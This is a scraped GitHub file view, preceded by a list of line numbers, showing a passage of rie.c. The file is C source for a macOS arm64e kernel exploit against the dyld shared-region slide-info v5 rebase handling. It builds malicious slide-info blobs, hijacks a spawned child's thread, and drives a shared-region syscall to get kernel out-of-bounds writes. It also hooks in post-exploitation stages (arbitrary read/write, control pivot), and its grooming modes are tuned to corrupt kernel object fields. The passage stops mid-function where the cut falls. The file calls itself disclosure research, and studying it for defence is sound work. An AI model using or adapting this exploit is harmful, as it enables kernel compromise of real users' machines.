Repository navigation
Expand file tree
/
Copy pathrie.c
More file actions
832 lines (799 loc) · 49.1 KB
/
Copy pathrie.c
File metadata and controls
832 lines (799 loc) · 49.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
/*
* rie.c -- "Rie": Apple XNU dyld shared-region slide-info v5 rebase-chain
* out-of-bounds read+write (kernel). Standalone kernel exploit:
* spawn a suspended RESLIDE child, hijack its main thread
* (arm64e thread_set_state, PC/SP signed with the shared jop_pid),
* drive BSD syscall #536 (shared_region_map_and_slide_2_np) as the
* region's FIRST MAPPER with a malicious slide-info v5 blob
* (page_starts[i]=0xFFFE), then sweep-fault the slid carrier pages ->
* vm_shared_region_slide_page_v5 walks the rebase chain off the page
* (no intra-page bound) -> kernel OOB read+write.
*
* Authorized coordinated-disclosure research. macOS 26.5 (25F71), arm64e,
* Apple M1 (t6000). The OOB does not reproduce reliably in a VM; a successful
* trigger panics + reboots the host. Run on hardware you own.
*
* Modes (env):
* (default) PROBE -- shared_region_check_np only, host-safe
* SLIDE_TRIGGER=1 TRIGGER -- #536 first-map + sweep-fault -> kernel panic
* SLIDE_PARSE_TEST=1 host-safe cache-parse selftest (no #536, no child)
* SLIDE_CHILD=path override the child binary (default ./child_e)
*
* Post-exploitation (groom -> arb R/W -> continuation pivot) is linked in from
* kpwn_primitive.c + kpwn_continuation.c.
*
* The userspace dyld OOB-rebase ACE (the sandbox-escape launch context for a
* contained target) is a SEPARATE vulnerability; see rie_slide.c.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <spawn.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <mach-o/loader.h>
#include <mach/mach.h>
#include <ptrauth.h>
#include <sys/spawn.h> /* _POSIX_SPAWN_RESLIDE */
#include <mach/mach_vm.h>
#include <mach/arm/thread_state.h>
#include "child_off.h" /* generated: CHILD_PROBE_OFF / CHILD_TRIGGER_OFF */
#include "sr_cfg.h"
#include "slide_blob.h"
#include "escapecodes.h" /* rie_print_art(): ANSI banner shown on every run */
extern char **environ;
/* ── post-exploitation stages (kpwn_primitive.c / kpwn_continuation.c) ────────
* kpwn_primitive exports kread64/kwrite64/self_thread_kaddr and imports
* slide_oob_write8 (defined below); kpwn_continuation imports the former. */
extern int kpwn_primitive_setup(void);
extern int kpwn_primitive_finish(void);
extern int kpwn_continuation_exec(uint64_t gadget_kaddr, uint64_t victim_thread_kaddr, uint64_t fake_param_kaddr);
extern uint64_t g_self_thread_kaddr, g_victim_buf_kva;
#ifdef ORACLE_MODE
/* OSData-via-IOSurface oracle (kpwn_osdata.c) */
extern int osdata_spray(unsigned count, size_t payload_len);
extern int osdata_scan_inflated(void);
extern int osdata_relread(int idx, unsigned off, void *dst, size_t len);
#endif
/* IOSurface IOBMD over-map harness (kpwn_iomdtest.c) */
extern int iomd_spray(void);
extern int iomd_probe_overmap(void);
extern int iomd_full_chain(void); /* spray->OOB(done)->phys-scan->(Stage B) */
extern int iomd_scan_phys(void); /* Stage A: scan victim pages for transformed sentinel */
extern int iomd_poke_holes(int free_every); /* page-fengshui: free alternate victim pages */
int g_iomd_mode; /* set by --iomdmap / --chain */
int g_iomd_phys = 1; /* PHYS-ADJACENCY model: ALL-page forward sweep (default) */
unsigned g_iomd_delta = 0x4000; /* forward sweep delta (one 16KB page); overridable */
unsigned g_iomd_field = 0x50; /* IOBMD field offset to corrupt (default _length@+0x50) */
uint64_t g_iomd_value = 0x100000ULL; /* value_add (inflated _length target; tunable on VM) */
/* TWO-WRITE OVER-MAP (--overmap2, STATE.md 2026-06-12): the IOGMD over-map needs BOTH
* _length@+0x50 AND _singleRange.length@+0x80 inflated (doMap bounds by _length;
* memoryReferenceCreate sizes the named entry from _singleRange.length). Both start ==
* capacity (0x4000) and are 0x30 apart, inline in ONE IOBMD object page, so ONE
* value_add=0xFC000 makes both 0x100000. Poison TWO carrier pages: dstA+delta_a -> victim+0x50,
* dstB+delta_b -> victim+0x80, each landing on the SAME groomed IOBMD object page; both fields
* read 0x4000 (bits[52:62]==0) so each chain stops after one clean write (no walk-off). The two
* deltas are GROOM-MEASURED (full page_starts values: K*0x4000 + iobmd_in_page_off + field). */
int g_pause; /* --pause: hold before resuming child to sweep (lldb window)*/
int g_iomd_overmap2; /* set by --overmap2: two-write same-victim over-map */
unsigned g_iomd_delta_a; /* manual override: page_starts[TARGET_PAGE] -> _length@+0x50 */
unsigned g_iomd_delta_b; /* manual override: page_starts[TARGET_PAGE+1] -> _singleRange.len */
/* MODEL-CORRECT TWO-WRITE SWEEP. Carrier pages TARGET_PAGE+2j / +2j+1 get TWO DIFFERENT dst pages
* dstA,dstB. For both writes to hit ONE IOBMD object page, the deltas must bridge the dstA->dstB
* physical gap: with objpage = dstA + anchor and dstB = dstA + gap,
* delta_a = anchor + obj0 + j*0xE8 + 0x50 (dstA -> _length@+0x50 of object j)
* delta_b = delta_a + 0x30 - gap (dstB -> _singleRange.length@+0x80 of object j)
* Defaults (consecutive-dst, object at page start): gap=anchor=0x4000, obj0=0 ->
* j=0: delta_a=0x4050, delta_b=0x0080 (dstB == objpage). (Run 2's 0x4050/0x4080 needed dstA==dstB
* -> structurally impossible; that's why it missed regardless of k.) IOBMD stride 0xE8 (232B). */
unsigned g_iomd_gap = 0x4000; /* assumed dstB - dstA (consecutive page-in grab) */
unsigned g_iomd_anchor = 0x4000; /* assumed objpage - dstA (object page one fwd of dstA) */
unsigned g_iomd_obj0 = 0; /* first IOBMD offset within its kalloc.type page */
unsigned g_iomd_sweep = 8; /* object indices 0..N-1 tested per boot (2 carrier pp/idx)*/
unsigned g_iomd_alloc; /* per-surface buffer alloc (kpwn_iomdtest spray); 0=auto:
* phys-scan -> 0x4000 (page-granular buffer groom, won Stage A);
* --chain -> 0x100 (small buffer -> dense kalloc.type IOBMD
* object pages = the over-map victim). --iomd-alloc overrides. */
/* slide-OOB write-primitive arming (single value_add/boot; consumed by
* prepare_trigger_cfg below). g_groom_off = offset from a page-in dst page to the
* victim field, determined by the groom on the VM (CODEEXEC-DESIGN.md 3). */
uint64_t g_oob_value; unsigned g_oob_field_off; int g_oob_armed;
uint64_t g_wval; int g_wval_set; /* --wval: override write-prim value_add (controlled-write demo) */
#ifdef ORACLE_MODE
int g_oracle_mode;
#endif
extern unsigned long g_groom_off;
/* ---- genuine dyld shared-cache parsing + config injection (parent side) ---- */
#ifndef VM_PROT_SLIDE
#define VM_PROT_SLIDE 0x20
#endif
#ifndef VM_PROT_NOAUTH
#define VM_PROT_NOAUTH 0x40
#endif
#ifndef F_ADDFILESIGS_RETURN
#define F_ADDFILESIGS_RETURN 97
#endif
#define HDR_MAPPING_WITH_SLIDE_OFF 0x138
#define HDR_MAPPING_WITH_SLIDE_CNT 0x13c
#define HDR_SUBCACHE_ARRAY_OFF 0x188
#define HDR_SUBCACHE_ARRAY_CNT 0x18c
#define HDR_CODE_SIG_OFFSET 0x028
#define HDR_CODE_SIG_SIZE 0x030
#define MWS_ENTRY_SIZE 56
#define MWS_ADDRESS 0
#define MWS_SIZE 8
#define MWS_FILE_OFFSET 16
#define MWS_SLIDE_SIZE 32
#define MWS_FLAGS 40
#define MWS_MAX_PROT 48
#define MWS_INIT_PROT 52
#define DYLD_CACHE_MAPPING_AUTH_DATA 0x1ULL
#define SUBCACHE_ENTRY_SIZE 56
#define SUBCACHE_SUFFIX_OFF 24
#define SUBCACHE_SUFFIX_MAX 32
#define CACHE_BASENAME "dyld_shared_cache_arm64e"
static const char *kCacheDirs[] = {
"/System/Library/dyld/",
"/System/Cryptexes/OS/System/Library/dyld/",
"/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/",
NULL,
};
static uint32_t rd32(const uint8_t *p, size_t o){ uint32_t v; memcpy(&v,p+o,4); return v; }
static uint64_t rd64(const uint8_t *p, size_t o){ uint64_t v; memcpy(&v,p+o,8); return v; }
struct cmap { uint64_t address,size,file_offset,slide_size,flags; uint32_t max_prot,init_prot; };
static int fmp_open_cache(const char *suffix, char *path_out, size_t plen){
char path[1024];
for (int i=0;kCacheDirs[i];i++){
snprintf(path,sizeof(path),"%s%s%s",kCacheDirs[i],CACHE_BASENAME,suffix);
int fd=open(path,O_RDONLY);
if(fd>=0){ if(path_out&&plen) snprintf(path_out,plen,"%s",path); return fd; }
}
return -1;
}
static const uint8_t *fmp_map_header(int fd, size_t *len_out){
struct stat st; if(fstat(fd,&st)!=0) return NULL;
size_t want=(size_t)st.st_size; if(want>0x100000) want=0x100000;
void *m=mmap(NULL,want,PROT_READ,MAP_PRIVATE,fd,0);
if(m==MAP_FAILED) return NULL; if(len_out)*len_out=want; return (const uint8_t*)m;
}
static int fmp_parse_mws(const uint8_t *h,size_t len,uint32_t idx,struct cmap *o){
uint32_t off=rd32(h,HDR_MAPPING_WITH_SLIDE_OFF), cnt=rd32(h,HDR_MAPPING_WITH_SLIDE_CNT);
if(idx>=cnt) return -1; size_t b=(size_t)off+(size_t)idx*MWS_ENTRY_SIZE;
if(b+MWS_ENTRY_SIZE>len) return -1;
o->address=rd64(h,b+MWS_ADDRESS); o->size=rd64(h,b+MWS_SIZE);
o->file_offset=rd64(h,b+MWS_FILE_OFFSET); o->slide_size=rd64(h,b+MWS_SLIDE_SIZE);
o->flags=rd64(h,b+MWS_FLAGS); o->max_prot=rd32(h,b+MWS_MAX_PROT); o->init_prot=rd32(h,b+MWS_INIT_PROT);
return 0;
}
static int fmp_find_nonauth_slide(const uint8_t *h,size_t len,struct cmap *o){
uint32_t cnt=rd32(h,HDR_MAPPING_WITH_SLIDE_CNT);
for(uint32_t i=0;i<cnt;i++){ struct cmap m; if(fmp_parse_mws(h,len,i,&m)) continue;
if(m.slide_size!=0 && !(m.flags&DYLD_CACHE_MAPPING_AUTH_DATA)){ *o=m; return 0; } }
return -1;
}
static int fmp_register_sig(int fd){
uint8_t hb[0x40]; if(pread(fd,hb,sizeof(hb),0)!=(ssize_t)sizeof(hb)) return -1;
uint64_t cs_off=rd64(hb,HDR_CODE_SIG_OFFSET), cs_sz=rd64(hb,HDR_CODE_SIG_SIZE);
if(!cs_off||!cs_sz) return -1;
fsignatures_t fs; memset(&fs,0,sizeof(fs));
fs.fs_file_start=0; fs.fs_blob_start=(void*)(uintptr_t)cs_off; fs.fs_blob_size=(size_t)cs_sz;
int rc=fcntl(fd,F_ADDFILESIGS_RETURN,&fs);
fprintf(stderr,"[fmp] F_ADDFILESIGS(fd=%d) rc=%d -> covers 0x%llx\n",fd,rc,(unsigned long long)fs.fs_file_start);
return rc<0?-1:0;
}
/* Parse cache, register sigs (vnode-global), build v5 blob + files/mappings,
* inject `struct sr_cfg`(+blob) into the child; return its child VA in *cfg_out. */
static int prepare_trigger_cfg(task_t ct, mach_vm_address_t *cfg_out)
{
char main_path[512]={0}, sub_path[512]={0};
int fd_main=fmp_open_cache("",main_path,sizeof(main_path));
if(fd_main<0){ fprintf(stderr,"[fmp] open main cache failed\n"); return -1; }
size_t mlen=0; const uint8_t *mh=fmp_map_header(fd_main,&mlen);
if(!mh || memcmp(mh,"dyld_v1",7)!=0){ fprintf(stderr,"[fmp] main header bad\n"); return -1; }
struct cmap hdr_map; if(fmp_parse_mws(mh,mlen,0,&hdr_map)){ fprintf(stderr,"[fmp] parse hdr\n"); return -1; }
uint32_t sub_off=rd32(mh,HDR_SUBCACHE_ARRAY_OFF), sub_cnt=rd32(mh,HDR_SUBCACHE_ARRAY_CNT);
int fd_sub=-1; struct cmap slide_map; memset(&slide_map,0,sizeof(slide_map));
/* The non-auth __DATA slide mapping can live in the MAIN cache file (arm64e:
* __TEXT/__DATA_CONST/__DATA in the main file, __AUTH split into AUTH subcaches).
* dyld scans EVERY file (main + subcaches) via preflightCacheFile, so we must
* too. Check the main file FIRST, then fall back to subcaches. */
if(fmp_find_nonauth_slide(mh,mlen,&slide_map)==0){
fd_sub=fd_main; snprintf(sub_path,sizeof(sub_path),"%s",main_path);
fprintf(stderr,"[fmp] non-auth slide mapping found in MAIN cache (%s)\n",main_path);
}
for(uint32_t i=0; fd_sub<0 && i<sub_cnt; i++){
size_t eo=(size_t)sub_off+(size_t)i*SUBCACHE_ENTRY_SIZE; if(eo+SUBCACHE_ENTRY_SIZE>mlen) break;
char suffix[SUBCACHE_SUFFIX_MAX+1]={0}; memcpy(suffix,mh+eo+SUBCACHE_SUFFIX_OFF,SUBCACHE_SUFFIX_MAX);
char sp[512]={0}; int sfd=fmp_open_cache(suffix,sp,sizeof(sp)); if(sfd<0) continue;
size_t slen=0; const uint8_t *sh=fmp_map_header(sfd,&slen); if(!sh){ close(sfd); continue; }
struct cmap m; if(fmp_find_nonauth_slide(sh,slen,&m)==0){ fd_sub=sfd; slide_map=m; snprintf(sub_path,sizeof(sub_path),"%s",sp); fprintf(stderr,"[fmp] non-auth slide mapping found in subcache (%s)\n",sp); munmap((void*)sh,slen); break; }
munmap((void*)sh,slen); close(sfd);
}
if(fd_sub<0){ fprintf(stderr,"[fmp] no non-auth slide mapping in main cache or %u subcaches\n",sub_cnt); return -1; }
fmp_register_sig(fd_main); if(fd_sub!=fd_main) fmp_register_sig(fd_sub);
struct slide_blob blob;
/* Commpage Target Flag (register control): _COMM_PAGE_ASB_TARGET_KERN_VALUE.
* 64-bit arm64(e) processes map the commpage at _COMM_PAGE64_BASE_ADDRESS
* (0x0000000FFFFFC000); the kern-value field is at +0x330. The v5 slide
* computes x21 = value_add + si_slide (slide_amount): loop-invariant, callee-
* saved, live at the faulting `str x8,[x19]` (kernel.release.t6000 +0x184bc8).
* si_slide==0 (sf_slide=0), so value_add = asb_kvalue lands the flag in x21
* at the panic => captures the kernel register-control Commpage Target Flag. */
/* MODE (single value_add/boot -- CODEEXEC-DESIGN.md 1b):
* - panic-capture (default, g_oob_armed==0): value_add = live ASB kern target;
* EVERY page_starts[i]=0xFFFE so the sweep faults forward OOB -> register-
* control Commpage Target Flag capture (x21==value_add) / release panic.
* - write-primitive (g_oob_armed, armed by the groom BEFORE this runs):
* value_add = g_oob_value (e.g. 0xFFFFFFFF00000000 to inflate a victim pipe
* size); ONLY TARGET_PAGE's start = g_groom_off+g_oob_field_off, rest =
* NO_REBASE -> one clean controlled write. g_groom_off is VM-determined. */
uint64_t asb_kval = *(volatile uint64_t *)0x0000000FFFFFC330ULL; /* _COMM_PAGE64_BASE+0x330 */
uint64_t value_add = g_oob_armed ? g_oob_value : asb_kval;
if(build_slide_blob(SLIDE_FORMAT,TARGET_PAGE,PAGE_START_OOB,value_add,PAGE_STARTS_COUNT,&blob)!=0){
fprintf(stderr,"[fmp] build_slide_blob failed\n"); return -1; }
{ uint16_t *ps=(uint16_t*)((uint8_t*)blob.buf+24); /* v5 page_starts[] @ blob+24 */
#ifdef ORACLE_MODE
if(g_oracle_mode){
/* Oracle: ALL page_starts = 0xFFFE (forward OOB every page) with our marker value_add */
for(uint32_t i=0;i<PAGE_STARTS_COUNT;i++) ps[i]=PAGE_START_OOB;
fprintf(stderr,"[fmp] ORACLE value_add=0x%016llx ALL starts=0x%x (max-coverage sweep)\n",
(unsigned long long)value_add,(unsigned)PAGE_START_OOB);
} else
#endif
if(g_iomd_overmap2){
/* TWO-WRITE OVER-MAP (phys OR VM-virtual; same blob -- only the runtime dst-landing
* model + groom differ). Each object index j gets a PAIR of carrier pages
* (TARGET_PAGE+2j, +2j+1) -> two dst pages dstA,dstB. Deltas bridge the dstA->dstB gap
* so both writes hit ONE IOBMD object:
* delta_a = anchor + obj0 + j*0xE8 + 0x50 (dstA -> _length@+0x50)
* delta_b = delta_a + 0x30 - gap (dstB -> _singleRange.length@+0x80)
* value_add=0xFC000: each field (==capacity 0x4000) -> 0x100000. Both target qwords read
* 0x4000 (bits[52:62]==0) -> each chain stops after one clean write.
* VM (--vm-chain): dst lands in kalloc virtual zone -> gap/anchor are VIRTUAL and
* lldb-MEASURED (read x19 for two consecutive faults); set them via --groom-a/--groom-b
* (manual pair) once measured. Bare metal: gap/anchor are physical (blind sweep). */
for(uint32_t i=0;i<PAGE_STARTS_COUNT;i++) ps[i]=0xFFFF; /* NO_REBASE everywhere */
if (g_iomd_delta_a && g_iomd_delta_b) {
/* manual single pair (explicit --groom-a/--groom-b, e.g. lldb-measured on the VM) */
ps[TARGET_PAGE] = (uint16_t)(g_iomd_delta_a & 0xFFFE);
ps[TARGET_PAGE+1] = (uint16_t)(g_iomd_delta_b & 0xFFFE);
fprintf(stderr,"[fmp] OVERMAP2(manual) value_add=0x%016llx start[%u]=0x%x(+0x50) "
"start[%u]=0x%x(+0x80)\n",(unsigned long long)value_add,
(unsigned)TARGET_PAGE,(unsigned)(g_iomd_delta_a&0xFFFE),
(unsigned)(TARGET_PAGE+1),(unsigned)(g_iomd_delta_b&0xFFFE));
} else {
unsigned placed=0;
for(unsigned j=0;j<g_iomd_sweep;j++){
unsigned da = g_iomd_anchor + g_iomd_obj0 + j*0xE8u + 0x50u;
unsigned db = da + 0x30u - g_iomd_gap; /* may wrap small; masked below */
uint32_t pa = TARGET_PAGE + 2*j, pb = TARGET_PAGE + 2*j + 1;
if (pb >= PAGE_STARTS_COUNT) break;
if (da > 0xFFFE) break; /* delta_a out of one-shot reach */
ps[pa] = (uint16_t)(da & 0xFFFE);
ps[pb] = (uint16_t)(db & 0xFFFE);
placed++;
}
fprintf(stderr,"[fmp] OVERMAP2(sweep%s) value_add=0x%016llx pairs=%u gap=0x%x anchor=0x%x "
"obj0=0x%x stride=0xE8 (j=0: da=0x%x db=0x%x). WALK-OFF RISK scales with pairs.\n",
g_iomd_phys?"":"/VM",(unsigned long long)value_add,placed,g_iomd_gap,g_iomd_anchor,g_iomd_obj0,
(unsigned)((g_iomd_anchor+g_iomd_obj0+0x50)&0xFFFE),
(unsigned)((g_iomd_anchor+g_iomd_obj0+0x50+0x30-g_iomd_gap)&0xFFFE));
}
} else if(g_iomd_mode && g_iomd_phys){
/* PHYS-ADJACENCY SINGLE-PAGE (Stage-A measurement / sentinel scan; hardware-safe).
* Only TARGET_PAGE OOBs; all others NO_REBASE. delta = --groom-off (default 0x4000). */
uint16_t d = (uint16_t)((g_groom_off ? (unsigned)g_groom_off : g_iomd_delta) & 0xFFFE);
for(uint32_t i=0;i<PAGE_STARTS_COUNT;i++) ps[i]=0xFFFF; /* NO_REBASE everywhere */
ps[TARGET_PAGE]=d; /* the single OOB hop */
fprintf(stderr,"[fmp] PHYS-1PAGE value_add=0x%016llx start[%u]=0x%x (single forward hop; "
"no sweep => no walk-off panic on a clean land)\n",
(unsigned long long)value_add,(unsigned)TARGET_PAGE,(unsigned)d);
} else if(g_oob_armed){
for(uint32_t i=0;i<PAGE_STARTS_COUNT;i++) ps[i]=0xFFFF; /* NO_REBASE */
ps[TARGET_PAGE]=(uint16_t)(g_groom_off + g_oob_field_off); /* one clean write */
fprintf(stderr,"[fmp] WRITE-PRIM value_add=0x%016llx start[%u]=0x%x (groom=0x%lx+field=0x%x)\n",
(unsigned long long)value_add,(unsigned)TARGET_PAGE,
(unsigned)(g_groom_off+g_oob_field_off),(unsigned long)g_groom_off,g_oob_field_off);
} else {
for(uint32_t i=0;i<PAGE_STARTS_COUNT;i++) ps[i]=PAGE_START_OOB; /* forward OOB sweep */
fprintf(stderr,"[fmp] PANIC-CAPTURE ASB_TARGET_KERN_VALUE=0x%016llx -> value_add (x21 at panic)\n",
(unsigned long long)asb_kval);
}
}
/* Region: page0 = sr_cfg, page1 = blob (the fd=-1 mapping copies page1 into
* the shared region). BLOB_SR = free shared-region page right after the header
* mapping; the slide carrier's sms_slide_start points there. */
const uint64_t CFG_PG = 0x4000;
size_t total = (size_t)CFG_PG + 0x4000;
uint64_t blob_sr = hdr_map.address + hdr_map.size; /* 0x180088000, page-aligned, free */
uint8_t *buf=(uint8_t*)calloc(1,total); if(!buf){ return -1; }
struct sr_cfg *cfg=(struct sr_cfg*)buf;
cfg->magic=SR_CFG_MAGIC; cfg->blob_off=(uint32_t)CFG_PG;
snprintf(cfg->main_path,sizeof(cfg->main_path),"%s",main_path);
snprintf(cfg->sub_path,sizeof(cfg->sub_path),"%s",sub_path);
cfg->files[0].sf_fd=-1; cfg->files[0].sf_mappings_count=1; cfg->files[0].sf_slide=0; /* main/header */
cfg->files[1].sf_fd=-1; cfg->files[1].sf_mappings_count=1; cfg->files[1].sf_slide=0; /* fd=-1 inject */
cfg->files[2].sf_fd=-1; cfg->files[2].sf_mappings_count=1; cfg->files[2].sf_slide=0; /* sub/slide */
/* mappings[0]: genuine main-cache header at sr_base (RX) */
cfg->mappings[0].sms_address=hdr_map.address; cfg->mappings[0].sms_size=hdr_map.size;
cfg->mappings[0].sms_file_offset=hdr_map.file_offset; cfg->mappings[0].sms_slide_size=0;
cfg->mappings[0].sms_slide_start=0; cfg->mappings[0].sms_max_prot=hdr_map.max_prot; cfg->mappings[0].sms_init_prot=hdr_map.init_prot;
/* mappings[1]: fd=-1 data-from-process -> copies our blob page (child VA in
* sms_file_offset, set post-alloc) into the shared region at blob_sr (READ). */
cfg->mappings[1].sms_address=blob_sr; cfg->mappings[1].sms_size=0x4000;
cfg->mappings[1].sms_file_offset=0; /* child VA, fixed up post-alloc */
cfg->mappings[1].sms_slide_size=0; cfg->mappings[1].sms_slide_start=0;
cfg->mappings[1].sms_max_prot=VM_PROT_READ; cfg->mappings[1].sms_init_prot=VM_PROT_READ;
/* mappings[2]: genuine subcache slide carrier; slide-info = our blob @ blob_sr */
cfg->mappings[2].sms_address=slide_map.address; cfg->mappings[2].sms_size=slide_map.size;
cfg->mappings[2].sms_file_offset=slide_map.file_offset; cfg->mappings[2].sms_slide_size=blob.size;
cfg->mappings[2].sms_slide_start=blob_sr;
cfg->mappings[2].sms_max_prot=slide_map.max_prot|VM_PROT_SLIDE|VM_PROT_NOAUTH; cfg->mappings[2].sms_init_prot=slide_map.init_prot;
cfg->blob_size=blob.size;
cfg->fault_addr=slide_map.address; /* carrier base; child sweeps pages 0..17 */
memcpy(buf+CFG_PG,blob.buf,blob.size); /* blob in page1 */
mach_vm_address_t region=0;
kern_return_t kr=mach_vm_allocate(ct,®ion,(mach_vm_size_t)total,VM_FLAGS_ANYWHERE);
if(kr!=KERN_SUCCESS){ fprintf(stderr,"[fmp] cfg alloc 0x%x\n",kr); free(buf); return -1; }
cfg->mappings[1].sms_file_offset=region+CFG_PG; /* fd=-1 source = child VA of blob page */
kr=mach_vm_write(ct,region,(vm_offset_t)buf,(mach_msg_type_number_t)total);
if(kr!=KERN_SUCCESS){ fprintf(stderr,"[fmp] cfg write 0x%x\n",kr); free(buf); return -1; }
fprintf(stderr,"[fmp] cfg@0x%llx hdr{a=0x%llx,s=0x%llx} inject{sr=0x%llx<-childVA=0x%llx} slide{a=0x%llx,s=0x%llx,foff=0x%llx,slidestart=0x%llx,mp=0x%x} fault=0x%llx blob=%zu\n",
(unsigned long long)region,(unsigned long long)hdr_map.address,(unsigned long long)hdr_map.size,
(unsigned long long)blob_sr,(unsigned long long)(region+CFG_PG),
(unsigned long long)slide_map.address,(unsigned long long)slide_map.size,(unsigned long long)slide_map.file_offset,
(unsigned long long)blob_sr,cfg->mappings[2].sms_max_prot,(unsigned long long)cfg->fault_addr,blob.size);
free(buf);
*cfg_out=region;
return 0;
}
/* Host-safe cache-parse selftest: opens the genuine cache and reports where the
* non-auth slide carrier is (main cache vs subcache). No #536, no child. */
static void fmp_selftest(void)
{
char main_path[512]={0};
int fd_main=fmp_open_cache("",main_path,sizeof(main_path));
if(fd_main<0){ fprintf(stderr,"[selftest] open main cache failed\n"); return; }
size_t mlen=0; const uint8_t *mh=fmp_map_header(fd_main,&mlen);
if(!mh || memcmp(mh,"dyld_v1",7)!=0){ fprintf(stderr,"[selftest] main header bad\n"); close(fd_main); return; }
fprintf(stderr,"[selftest] main=%s magic=%.16s\n",main_path,(const char*)mh);
uint32_t mws_cnt=rd32(mh,HDR_MAPPING_WITH_SLIDE_CNT);
fprintf(stderr,"[selftest] main mappingWithSlide count=%u\n",mws_cnt);
for(uint32_t i=0;i<mws_cnt;i++){ struct cmap m; if(fmp_parse_mws(mh,mlen,i,&m)) continue;
fprintf(stderr," [main MWS %u] addr=0x%llx size=0x%llx slideSz=0x%llx flags=0x%llx prot=%x/%x%s\n",
i,m.address,m.size,m.slide_size,m.flags,m.max_prot,m.init_prot,
(m.slide_size!=0 && !(m.flags&DYLD_CACHE_MAPPING_AUTH_DATA))?" <== NONAUTH-SLIDE":""); }
int where=-1; struct cmap sm;
if(fmp_find_nonauth_slide(mh,mlen,&sm)==0){ where=0;
fprintf(stderr,"[selftest] NONAUTH slide carrier in MAIN: addr=0x%llx slideSz=0x%llx flags=0x%llx\n",sm.address,sm.slide_size,sm.flags); }
uint32_t sub_off=rd32(mh,HDR_SUBCACHE_ARRAY_OFF), sub_cnt=rd32(mh,HDR_SUBCACHE_ARRAY_CNT);
fprintf(stderr,"[selftest] subCacheArray count=%u\n",sub_cnt);
for(uint32_t i=0;i<sub_cnt;i++){
size_t eo=(size_t)sub_off+(size_t)i*SUBCACHE_ENTRY_SIZE; if(eo+SUBCACHE_ENTRY_SIZE>mlen) break;
char suffix[SUBCACHE_SUFFIX_MAX+1]={0}; memcpy(suffix,mh+eo+SUBCACHE_SUFFIX_OFF,SUBCACHE_SUFFIX_MAX);
char sp[512]={0}; int sfd=fmp_open_cache(suffix,sp,sizeof(sp));
if(sfd<0){ fprintf(stderr," [sub %u] suffix=%s OPEN FAILED\n",i,suffix); continue; }
size_t slen=0; const uint8_t *sh=fmp_map_header(sfd,&slen);
if(sh){ struct cmap m; int ok=(fmp_find_nonauth_slide(sh,slen,&m)==0);
fprintf(stderr," [sub %u] suffix=%s %s\n",i,suffix,ok?"HAS nonauth-slide":"no nonauth-slide");
if(ok && where<0){ where=1; sm=m; }
munmap((void*)sh,slen); }
close(sfd);
}
munmap((void*)mh,mlen); close(fd_main);
fprintf(stderr,"[selftest] VERDICT: non-auth slide carrier %s (%s)\n",
where<0?"NOT FOUND":"FOUND", where==0?"main cache":where==1?"subcache":"-");
}
static mach_vm_address_t fmp_find_exec_base(task_t task)
{
mach_vm_address_t addr = 0; mach_vm_size_t size = 0; natural_t depth = 0;
for (;;) {
vm_region_submap_info_data_64_t info;
mach_msg_type_number_t cnt = VM_REGION_SUBMAP_INFO_COUNT_64;
if (mach_vm_region_recurse(task, &addr, &size, &depth,
